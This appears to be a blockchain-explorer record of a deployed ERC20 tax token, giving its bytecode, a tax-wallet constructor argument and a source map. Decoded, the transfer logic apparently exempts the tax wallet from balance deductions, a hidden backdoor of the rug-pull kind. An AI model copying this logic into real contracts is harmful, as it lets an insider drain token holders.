b9250602084013561158381611512565b929592945050506040919091013590565b6000602082840312156115a657600080fd5b813561066181611512565b600080604083850312156115c457600080fd5b82356115cf81611512565b915060208301356115df81611512565b809150509250929050565b6000806000606084860312156115ff57600080fd5b505081359360208301359350604090920135919050565b600181811c9082168061162a57607f821691505b60208210810361136457634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561063c5761063c61164a565b60006020828403121561168557600080fd5b815161066181611512565b6000806000606084860312156116a557600080fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761063c5761063c61164a565b6000826116f257634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561063c5761063c61164a565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117705784516001600160a01b03168352938301939183019160010161174b565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220700d691c4172db20c6ab8582602f413f1fd628663f3eff0984754983736d469764736f6c63430008130033000000000000000000000000404c9b35d8455f401c802cff54d80ca66ee51683

Deployed Bytecode

0x6080604052600436106101d15760003560e01c8063864701a5116100f7578063aa4bde2811610095578063ed99530711610064578063ed995307146104f3578063f2e76c2514610508578063f2fde38b14610528578063f66895a31461054857600080fd5b8063aa4bde2814610488578063b88631151461049e578063dd62ed3e146104bd578063e2f45605146104dd57600080fd5b80639e78fb4f116100d15780639e78fb4f14610413578063a457c2d714610428578063a8b0898214610448578063a9059cbb1461046857600080fd5b8063864701a5146103c95780638da5cb5b146103e057806395d89b41146103fe57600080fd5b8063395093511161016f578063715018a61161013e578063715018a614610369578063735de9f71461037e578063751039fc1461039e57806385af4de6146103b357600080fd5b806339509351146102e25780634a74bb02146103025780635331803c1461031c57806370a082311461033357600080fd5b806310db7c36116101ab57806310db7c361461024f57806318160ddd1461028757806323b872dd146102a6578063313ce567146102c657600080fd5b80630150fe4c146101dd57806306fdde03146101f4578063095ea7b31461021f57600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261055f565b005b34801561020057600080fd5b50610209610596565b60405161021691906114c4565b60405180910390f35b34801561022b57600080fd5b5061023f61023a366004611527565b610628565b6040519015158152602001610216565b34801561025b57600080fd5b5060035461026f906001600160a01b031681565b6040516001600160a01b039091168152602001610216565b34801561029357600080fd5b506002545b604051908152602001610216565b3480156102b257600080fd5b5061023f6102c1366004611553565b610642565b3480156102d257600080fd5b5060405160098152602001610216565b3480156102ee57600080fd5b5061023f6102fd366004611527565b610668565b34801561030e57600080fd5b5060105461023f9060ff1681565b34801561032857600080fd5b50600b546102989081565b34801561033f57600080fd5b5061029861034e366004611594565b6001600160a01b031660009081526020819052604090205490565b34801561037557600080fd5b506101f261068a565b34801561038a57600080fd5b5060075461026f906001600160a01b031681565b3480156103aa57600080fd5b506101f261069e565b3480156103bf57600080fd5b50610298600f5481565b3480156103d557600080fd5b506009546102989081565b3480156103ec57600080fd5b506006546001600160a01b031661026f565b34801561040a57600080fd5b506102096106bd565b34801561041f57600080fd5b506101f26106cc565b34801561043457600080fd5b5061023f610443366004611527565b610881565b34801561045457600080fd5b5060085461026f906001600160a01b031681565b34801561047457600080fd5b5061023f610483366004611527565b61090c565b34801561049457600080fd5b5061029860115481565b3480156104aa57600080fd5b5060105461023f90610100900460ff1681565b3480156104c957600080fd5b506102986104d83660046115b1565b61091a565b3480156104e957600080fd5b50610298600e5481565b3480156104ff57600080fd5b506101f2610945565b34801561051457600080fd5b506101f26105233660046115ea565b610a26565b34801561053457600080fd5b506101f2610543366004611594565b610a64565b34801561055457600080fd5b50600a546102989081565b610567610ada565b60405133904780156108fc02916000818181858888f19350505050158015610593573d6000803e3d6000fd5b50565b6060600480546105a590611616565b80601f01602080910402602001604051908101604052809291908181526020018280546105d190611616565b801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b600033610636818585610b34565b60019150505b92915050565b600033610650858285610c58565b61065b858585610cd2565b60019150505b9392505050565b60003361063681858561067b838361091a565b6106859190611660565b610b34565b610692610ada565b61069c6000611032565b565b6106a6610ada565b60006009819055600a819055600b55600019601155565b6060600580546105a590611616565b6106d4610ada565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c9190611673565b6001600160a01b031663c9c6539630600760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e29190611673565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561082f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108539190611673565b600880546001600160a01b0319166001600160a01b0392831617905560075461069c91309116600019610b34565b6000338161088f828661091a565b9050838110156108f45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b6109018286868403610b34565b506001949350505050565b600033610636818585610cd2565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b61094d610ada565b6007546001600160a01b031663f305d719473061097f816001600160a01b031660009081526020819052604090205490565b6000806109946006546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109fc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a219190611690565b505050565b610a2e610ada565b60408051602080820183529085905260099490945580518085018252839052600a92909255815192830190915290819052600b55565b610a6c610ada565b6001600160a01b038116610ad15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016108eb565b61059381611032565b6006546001600160a01b0316331461069c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016108eb565b6001600160a01b038316610b965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108eb565b6001600160a01b038216610bf75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108eb565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610c64848461091a565b90506000198114610ccc5781811015610cbf5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016108eb565b610ccc8484848403610b34565b50505050565b6001600160a01b038316610d285760405162461bcd60e51b815260206004820152601a60248201527f7472616e736665722066726f6d2061646472657373207a65726f00000000000060448201526064016108eb565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152601860248201527f7472616e7366657220746f2061646472657373207a65726f000000000000000060448201526064016108eb565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108eb565b6001600160a01b0383166000908152600c602052604090205460ff161580610e2157506001600160a01b0382166000908152600c602052604090205460ff16155b15610e8757816001600160a01b0316836001600160a01b031603610e875760405162461bcd60e51b815260206004820181905260248201527f45524332303a2063616e6e6f74207472616e7366657220746f20697473656c6660448201526064016108eb565b6001600160a01b0383166000908152600c602052604090205460ff16158015610ec957506001600160a01b0382166000908152600c602052604090205460ff16155b8015610edd57506001600160a01b03821615155b8015610ef257506001600160a01b0382163014155b8015610f0c57506008546001600160a01b03838116911614155b15610f8c5760115481610f34846001600160a01b031660009081526020819052604090205490565b610f3e9190611660565b1115610f8c5760405162461bcd60e51b815260206004820152601d60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e7400000060448201526064016108eb565b6000610f99848484611084565b6008549091506001600160a01b038481169116148015610fbb575060105460ff165b8015610fcf5750601054610100900460ff16155b8015610ff457506001600160a01b0384166000908152600c602052604090205460ff16155b801561101957506001600160a01b0383166000908152600c602052604090205460ff16155b15611027576110278261114b565b610ccc8484836111d8565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0383166000908152600c602052604081205460ff16806110c357506001600160a01b0383166000908152600c602052604090205460ff165b156110cf575080610661565b600b546008546001600160a01b03908116908516036110f15750600a5461110c565b6008546001600160a01b039081169086160361110c57506009545b6000811561113757606461112083866116be565b61112a91906116d5565b90506111378630836111d8565b61114181856116f7565b9695505050505050565b6010805461ff001916610100179055306000908152602081905260408120549050801561118f5761118f61118a8361118584600f54611355565b611355565b61136a565b6003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156111c8573d6000803e3d6000fd5b50506010805461ff001916905550565b6001600160a01b03831661123c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108eb565b6001600160a01b03821661129e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108eb565b6000826001600160a01b0316846001600160a01b0316146112bf57816112c2565b60005b6003549091506001600160a01b038581169116146112fa576001600160a01b0384166000908152602081905260409020805483900390555b6001600160a01b0383811660008181526020818152604091829020805486019055905184815291928716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610ccc565b60008183116113645782610661565b50919050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061139f5761139f61170a565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061141c9190611673565b8160018151811061142f5761142f61170a565b6001600160a01b0392831660209182029290920101526007546114559130911684610b34565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac9479061148e908590600090869030904290600401611720565b600060405180830381600087803b1580156114a857600080fd5b505af11580156114bc573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b818110156114f1578581018301518582016040015282016114d5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461059357600080fd5b6000806040838503121561153a57600080fd5b823561154581611512565b946020939093013593505050565b60008060006060848603121561156857600080fd5b833561157381611512565b9250602084013561158381611512565b929592945050506040919091013590565b6000602082840312156115a657600080fd5b813561066181611512565b600080604083850312156115c457600080fd5b82356115cf81611512565b915060208301356115df81611512565b809150509250929050565b6000806000606084860312156115ff57600080fd5b505081359360208301359350604090920135919050565b600181811c9082168061162a57607f821691505b60208210810361136457634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b8082018082111561063c5761063c61164a565b60006020828403121561168557600080fd5b815161066181611512565b6000806000606084860312156116a557600080fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761063c5761063c61164a565b6000826116f257634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561063c5761063c61164a565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117705784516001600160a01b03168352938301939183019160010161174b565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220700d691c4172db20c6ab8582602f413f1fd628663f3eff0984754983736d469764736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000404c9b35d8455f401c802cff54d80ca66ee51683

-----Decoded View---------------
Arg [0] : _taxWallet (address): 0x404C9b35d8455F401C802cfF54D80cA66eE51683

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000404c9b35d8455f401c802cff54d80ca66ee51683


Deployed Bytecode Sourcemap

11987:5304:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13527:115;;;;;;;;;;;;;:::i;:::-;;6609:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7606:226;;;;;;;;;;-1:-1:-1;7606:226:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7606:226:0;1023:187:1;6399:21:0;;;;;;;;;;-1:-1:-1;6399:21:0;;;;-1:-1:-1;;;;;6399:21:0;;;;;;-1:-1:-1;;;;;1379:32:1;;;1361:51;;1349:2;1334:18;6399:21:0;1215:203:1;6929:108:0;;;;;;;;;;-1:-1:-1;7017:12:0;;6929:108;;;1569:25:1;;;1557:2;1542:18;6929:108:0;1423:177:1;7840:295:0;;;;;;;;;;-1:-1:-1;7840:295:0;;;;;:::i;:::-;;:::i;6829:92::-;;;;;;;;;;-1:-1:-1;6829:92:0;;6912:1;2208:36:1;;2196:2;2181:18;6829:92:0;2066:184:1;8143:263:0;;;;;;;;;;-1:-1:-1;8143:263:0;;;;;:::i;:::-;;:::i;12632:40::-;;;;;;;;;;-1:-1:-1;12632:40:0;;;;;;;;12323:33;;;;;;;;;;-1:-1:-1;12323:33:0;;;;;;7045:143;;;;;;;;;;-1:-1:-1;7045:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7162:18:0;7135:7;7162:18;;;;;;;;;;;;7045:143;4627:103;;;;;;;;;;;;;:::i;12164:31::-;;;;;;;;;;-1:-1:-1;12164:31:0;;;;-1:-1:-1;;;;;12164:31:0;;;14264:205;;;;;;;;;;;;;:::i;12571:54::-;;;;;;;;;;;;;;;;12250:29;;;;;;;;;;-1:-1:-1;12250:29:0;;;;;;4392:87;;;;;;;;;;-1:-1:-1;4465:6:0;;-1:-1:-1;;;;;4465:6:0;4392:87;;6717:104;;;;;;;;;;;;;:::i;13144:375::-;;;;;;;;;;;;;:::i;8414:498::-;;;;;;;;;;-1:-1:-1;8414:498:0;;;;;:::i;:::-;;:::i;12202:26::-;;;;;;;;;;-1:-1:-1;12202:26:0;;;;-1:-1:-1;;;;;12202:26:0;;;7196:218;;;;;;;;;;-1:-1:-1;7196:218:0;;;;;:::i;:::-;;:::i;12718:55::-;;;;;;;;;;;;;;;;12679:30;;;;;;;;;;-1:-1:-1;12679:30:0;;;;;;;;;;;7422:176;;;;;;;;;;-1:-1:-1;7422:176:0;;;;;:::i;:::-;;:::i;12505:59::-;;;;;;;;;;;;;;;;13650:288;;;;;;;;;;;;;:::i;14061:195::-;;;;;;;;;;-1:-1:-1;14061:195:0;;;;;:::i;:::-;;:::i;4738:238::-;;;;;;;;;;-1:-1:-1;4738:238:0;;;;;:::i;:::-;;:::i;12286:30::-;;;;;;;;;;-1:-1:-1;12286:30:0;;;;;;13527:115;4351:13;:11;:13::i;:::-;13583:51:::1;::::0;13591:10:::1;::::0;13612:21:::1;13583:51:::0;::::1;;;::::0;::::1;::::0;;;13612:21;13591:10;13583:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13527:115::o:0;6609:100::-;6663:13;6696:5;6689:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6609:100;:::o;7606:226::-;7714:4;3920:10;7770:32;3920:10;7786:7;7795:6;7770:8;:32::i;:::-;7820:4;7813:11;;;7606:226;;;;;:::o;7840:295::-;7971:4;3920:10;8029:38;8045:4;3920:10;8060:6;8029:15;:38::i;:::-;8078:27;8088:4;8094:2;8098:6;8078:9;:27::i;:::-;8123:4;8116:11;;;7840:295;;;;;;:::o;8143:263::-;8256:4;3920:10;8312:64;3920:10;8328:7;8365:10;8337:25;3920:10;8328:7;8337:9;:25::i;:::-;:38;;;;:::i;:::-;8312:8;:64::i;4627:103::-;4351:13;:11;:13::i;:::-;4692:30:::1;4719:1;4692:18;:30::i;:::-;4627:103::o:0;14264:205::-;4351:13;:11;:13::i;:::-;14342:1:::1;14318:8;:25:::0;;;14354:9:::1;:26:::0;;;14391:13:::1;:30:::0;-1:-1:-1;;14432:15:0::1;:29:::0;14264:205::o;6717:104::-;6773:13;6806:7;6799:14;;;;;:::i;13144:375::-;4351:13;:11;:13::i;:::-;13196::::1;:94:::0;;-1:-1:-1;;;;;;13196:94:0::1;13237:42;13196:94:::0;;::::1;::::0;;;13329:23:::1;::::0;;-1:-1:-1;;;13329:23:0;;;;:21:::1;::::0;:23:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;13237:42;13329:23:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13317:47:0::1;;13387:4;13407:13;;;;;;;;;-1:-1:-1::0;;;;;13407:13:0::1;-1:-1:-1::0;;;;;13407:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13317:121;::::0;-1:-1:-1;;;;;;13317:121:0::1;::::0;;;;;;-1:-1:-1;;;;;4579:15:1;;;13317:121:0::1;::::0;::::1;4561:34:1::0;4631:15;;4611:18;;;4604:43;4496:18;;13317:121:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13303:11;:135:::0;;-1:-1:-1;;;;;;13303:135:0::1;-1:-1:-1::0;;;;;13303:135:0;;::::1;;::::0;;13483:13:::1;::::0;13451:60:::1;::::0;13468:4:::1;::::0;13483:13:::1;-1:-1:-1::0;;13451:8:0::1;:60::i;8414:498::-:0;8532:4;3920:10;8532:4;8615:25;3920:10;8632:7;8615:9;:25::i;:::-;8588:52;;8693:15;8673:16;:35;;8651:122;;;;-1:-1:-1;;;8651:122:0;;4860:2:1;8651:122:0;;;4842:21:1;4899:2;4879:18;;;4872:30;4938:34;4918:18;;;4911:62;-1:-1:-1;;;4989:18:1;;;4982:35;5034:19;;8651:122:0;;;;;;;;;8809:60;8818:5;8825:7;8853:15;8834:16;:34;8809:8;:60::i;:::-;-1:-1:-1;8900:4:0;;8414:498;-1:-1:-1;;;;8414:498:0:o;7196:218::-;7300:4;3920:10;7356:28;3920:10;7373:2;7377:6;7356:9;:28::i;7422:176::-;-1:-1:-1;;;;;7563:18:0;;;7536:7;7563:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7422:176::o;13650:288::-;4351:13;:11;:13::i;:::-;13709::::1;::::0;-1:-1:-1;;;;;13709:13:0::1;:29;13746:21;13791:4;13811:24;13791:4:::0;-1:-1:-1;;;;;7162:18:0;7135:7;7162:18;;;;;;;;;;;;7045:143;13811:24:::1;13850:1;13866::::0;13882:7:::1;4465:6:::0;;-1:-1:-1;;;;;4465:6:0;;4392:87;13882:7:::1;13709:221;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13709:221:0;;;-1:-1:-1;;;;;5423:15:1;;;13709:221:0::1;::::0;::::1;5405:34:1::0;5455:18;;;5448:34;;;;5498:18;;;5491:34;;;;5541:18;;;5534:34;5605:15;;;5584:19;;;5577:44;13904:15:0::1;5637:19:1::0;;;5630:35;5339:19;;13709:221:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13650:288::o:0;14061:195::-;4351:13;:11;:13::i;:::-;14168:9:::1;::::0;;::::1;::::0;;::::1;::::0;;;;;;14157:8:::1;:20:::0;;;;14200:10;;;;::::1;::::0;;;;;14188:9:::1;:22:::0;;;;14237:11;;;;::::1;::::0;;;;;;;14221:13:::1;:27:::0;14061:195::o;4738:238::-;4351:13;:11;:13::i;:::-;-1:-1:-1;;;;;4841:22:0;::::1;4819:110;;;::::0;-1:-1:-1;;;4819:110:0;;6189:2:1;4819:110:0::1;::::0;::::1;6171:21:1::0;6228:2;6208:18;;;6201:30;6267:34;6247:18;;;6240:62;-1:-1:-1;;;6318:18:1;;;6311:36;6364:19;;4819:110:0::1;5987:402:1::0;4819:110:0::1;4940:28;4959:8;4940:18;:28::i;4487:132::-:0;4465:6;;-1:-1:-1;;;;;4465:6:0;3920:10;4551:23;4543:68;;;;-1:-1:-1;;;4543:68:0;;6596:2:1;4543:68:0;;;6578:21:1;;;6615:18;;;6608:30;6674:34;6654:18;;;6647:62;6726:18;;4543:68:0;6394:356:1;10825:380:0;-1:-1:-1;;;;;10961:19:0;;10953:68;;;;-1:-1:-1;;;10953:68:0;;6957:2:1;10953:68:0;;;6939:21:1;6996:2;6976:18;;;6969:30;7035:34;7015:18;;;7008:62;-1:-1:-1;;;7086:18:1;;;7079:34;7130:19;;10953:68:0;6755:400:1;10953:68:0;-1:-1:-1;;;;;11040:21:0;;11032:68;;;;-1:-1:-1;;;11032:68:0;;7362:2:1;11032:68:0;;;7344:21:1;7401:2;7381:18;;;7374:30;7440:34;7420:18;;;7413:62;-1:-1:-1;;;7491:18:1;;;7484:32;7533:19;;11032:68:0;7160:398:1;11032:68:0;-1:-1:-1;;;;;11113:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11165:32;;1569:25:1;;;11165:32:0;;1542:18:1;11165:32:0;;;;;;;10825:380;;;:::o;11213:502::-;11348:24;11375:25;11385:5;11392:7;11375:9;:25::i;:::-;11348:52;;-1:-1:-1;;11415:16:0;:37;11411:297;;11515:6;11495:16;:26;;11469:117;;;;-1:-1:-1;;;11469:117:0;;7765:2:1;11469:117:0;;;7747:21:1;7804:2;7784:18;;;7777:30;7843:31;7823:18;;;7816:59;7892:18;;11469:117:0;7563:353:1;11469:117:0;11630:51;11639:5;11646:7;11674:6;11655:16;:25;11630:8;:51::i;:::-;11337:378;11213:502;;;:::o;15171:1279::-;-1:-1:-1;;;;;15316:19:0;;15308:58;;;;-1:-1:-1;;;15308:58:0;;8123:2:1;15308:58:0;;;8105:21:1;8162:2;8142:18;;;8135:30;8201:28;8181:18;;;8174:56;8247:18;;15308:58:0;7921:350:1;15308:58:0;-1:-1:-1;;;;;15385:17:0;;15377:54;;;;-1:-1:-1;;;15377:54:0;;8478:2:1;15377:54:0;;;8460:21:1;8517:2;8497:18;;;8490:30;8556:26;8536:18;;;8529:54;8600:18;;15377:54:0;8276:348:1;15377:54:0;15460:1;15450:7;:11;15442:65;;;;-1:-1:-1;;;15442:65:0;;8831:2:1;15442:65:0;;;8813:21:1;8870:2;8850:18;;;8843:30;8909:34;8889:18;;;8882:62;-1:-1:-1;;;8960:18:1;;;8953:39;9009:19;;15442:65:0;8629:405:1;15442:65:0;-1:-1:-1;;;;;15526:18:0;;;;;;:11;:18;;;;;;;;15525:19;;:40;;-1:-1:-1;;;;;;15549:16:0;;;;;;:11;:16;;;;;;;;15548:17;15525:40;15521:130;;;15599:3;-1:-1:-1;;;;;15590:12:0;:5;-1:-1:-1;;;;;15590:12:0;;15582:57;;;;-1:-1:-1;;;15582:57:0;;9241:2:1;15582:57:0;;;9223:21:1;;;9260:18;;;9253:30;9319:34;9299:18;;;9292:62;9371:18;;15582:57:0;9039:356:1;15582:57:0;-1:-1:-1;;;;;15754:18:0;;;;;;:11;:18;;;;;;;;15753:19;:53;;;;-1:-1:-1;;;;;;15790:16:0;;;;;;:11;:16;;;;;;;;15789:17;15753:53;:87;;;;-1:-1:-1;;;;;;15823:17:0;;;;15753:87;:124;;;;-1:-1:-1;;;;;;15857:20:0;;15872:4;15857:20;;15753:124;:159;;;;-1:-1:-1;15901:11:0;;-1:-1:-1;;;;;15894:18:0;;;15901:11;;15894:18;;15753:159;15735:350;;;15993:15;;15982:7;15965:14;15975:3;-1:-1:-1;;;;;7162:18:0;7135:7;7162:18;;;;;;;;;;;;7045:143;15965:14;:24;;;;:::i;:::-;:43;;15939:134;;;;-1:-1:-1;;;15939:134:0;;9602:2:1;15939:134:0;;;9584:21:1;9641:2;9621:18;;;9614:30;9680:31;9660:18;;;9653:59;9729:18;;15939:134:0;9400:353:1;15939:134:0;16097:18;16118:29;16127:5;16134:3;16139:7;16118:8;:29::i;:::-;16178:11;;16097:50;;-1:-1:-1;;;;;;16178:18:0;;;:11;;:18;:56;;;;-1:-1:-1;16213:21:0;;;;16178:56;:84;;;;-1:-1:-1;16252:10:0;;;;;;;16251:11;16178:84;:120;;;;-1:-1:-1;;;;;;16280:18:0;;;;;;:11;:18;;;;;;;;16279:19;16178:120;:154;;;;-1:-1:-1;;;;;;16316:16:0;;;;;;:11;:16;;;;;;;;16315:17;16178:154;16160:233;;;16360:21;16373:7;16360:12;:21::i;:::-;16403:39;16419:5;16426:3;16431:10;16403:15;:39::i;4984:191::-;5077:6;;;-1:-1:-1;;;;;5094:17:0;;;-1:-1:-1;;;;;;5094:17:0;;;;;;;5127:40;;5077:6;;;5094:17;5077:6;;5127:40;;5058:16;;5127:40;5047:128;4984:191;:::o;14477:686::-;-1:-1:-1;;;;;14616:18:0;;14592:7;14616:18;;;:11;:18;;;;;;;;;:38;;-1:-1:-1;;;;;;14638:16:0;;;;;;:11;:16;;;;;;;;14616:38;14612:85;;;-1:-1:-1;14678:7:0;14671:14;;14612:85;14728:13;:26;14785:11;;-1:-1:-1;;;;;14785:11:0;;;14778:18;;;;14774:175;;-1:-1:-1;14824:9:0;:22;14774:175;;;14877:11;;-1:-1:-1;;;;;14877:11:0;;;14868:20;;;;14864:85;;-1:-1:-1;14916:8:0;:21;14864:85;14961:11;14991:12;;14987:134;;15049:3;15027:18;15037:8;15027:7;:18;:::i;:::-;15026:26;;;;:::i;:::-;15020:32;;15067:42;15083:5;15098:4;15105:3;15067:15;:42::i;:::-;15141:13;15151:3;15141:7;:13;:::i;:::-;15133:22;14477:686;-1:-1:-1;;;;;;14477:686:0:o;16458:338::-;16517:10;:17;;-1:-1:-1;;16517:17:0;;;;;16583:4;-1:-1:-1;7162:18:0;;;;;;;;;;;16545:44;-1:-1:-1;16604:14:0;;16600:102;;16635:55;16645:44;16649:7;16658:30;16662:9;16673:14;;16658:3;:30::i;:::-;16645:3;:44::i;:::-;16635:9;:55::i;:::-;16720:6;;16712:47;;-1:-1:-1;;;;;16720:6:0;;;;16737:21;16712:47;;;;;16720:6;16712:47;16720:6;16712:47;16737:21;16720:6;16712:47;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;16770:10:0;:18;;-1:-1:-1;;16770:18:0;;;-1:-1:-1;16458:338:0:o;8920:658::-;-1:-1:-1;;;;;9051:18:0;;9043:68;;;;-1:-1:-1;;;9043:68:0;;10488:2:1;9043:68:0;;;10470:21:1;10527:2;10507:18;;;10500:30;10566:34;10546:18;;;10539:62;-1:-1:-1;;;10617:18:1;;;10610:35;10662:19;;9043:68:0;10286:401:1;9043:68:0;-1:-1:-1;;;;;9130:16:0;;9122:64;;;;-1:-1:-1;;;9122:64:0;;10894:2:1;9122:64:0;;;10876:21:1;10933:2;10913:18;;;10906:30;10972:34;10952:18;;;10945:62;-1:-1:-1;;;11023:18:1;;;11016:33;11066:19;;9122:64:0;10692:399:1;9122:64:0;9250:22;9283:2;-1:-1:-1;;;;;9275:10:0;:4;-1:-1:-1;;;;;9275:10:0;;:23;;9292:6;9275:23;;;9288:1;9275:23;9327:6;;9250:48;;-1:-1:-1;;;;;;9327:12:0;;;:6;;:12;9323:73;;-1:-1:-1;;;;;9372:15:0;;:9;:15;;;;;;;;;;;;:24;;;9354:42;;9323:73;-1:-1:-1;;;;;9427:13:0;;;:9;:13;;;;;;;;;;;;;;:30;;9411:46;;9486:34;;1569:25:1;;;9427:13:0;;9486:34;;;;;1542:18:1;9486:34:0;;;;;;;9533:37;13650:288;13946:107;14003:7;14035:1;14031;:5;14030:15;;14044:1;14030:15;;;-1:-1:-1;14040:1:0;14023:22;-1:-1:-1;13946:107:0:o;16804:447::-;16884:16;;;16898:1;16884:16;;;;;;;;16860:21;;16884:16;;;;;;;;;;-1:-1:-1;16884:16:0;16860:40;;16929:4;16911;16916:1;16911:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16911:23:0;;;:7;;;;;;;;;;:23;;;;16955:13;;:20;;;-1:-1:-1;;;16955:20:0;;;;:13;;;;;:18;;:20;;;;;16911:7;;16955:20;;;;;:13;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16945:4;16950:1;16945:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;16945:30:0;;;:7;;;;;;;;;:30;17018:13;;16986:56;;17003:4;;17018:13;17034:7;16986:8;:56::i;:::-;17053:13;;:190;;-1:-1:-1;;;17053:190:0;;-1:-1:-1;;;;;17053:13:0;;;;:64;;:190;;17132:7;;17053:13;;17170:4;;17197;;17217:15;;17053:190;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16849:402;16804:447;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;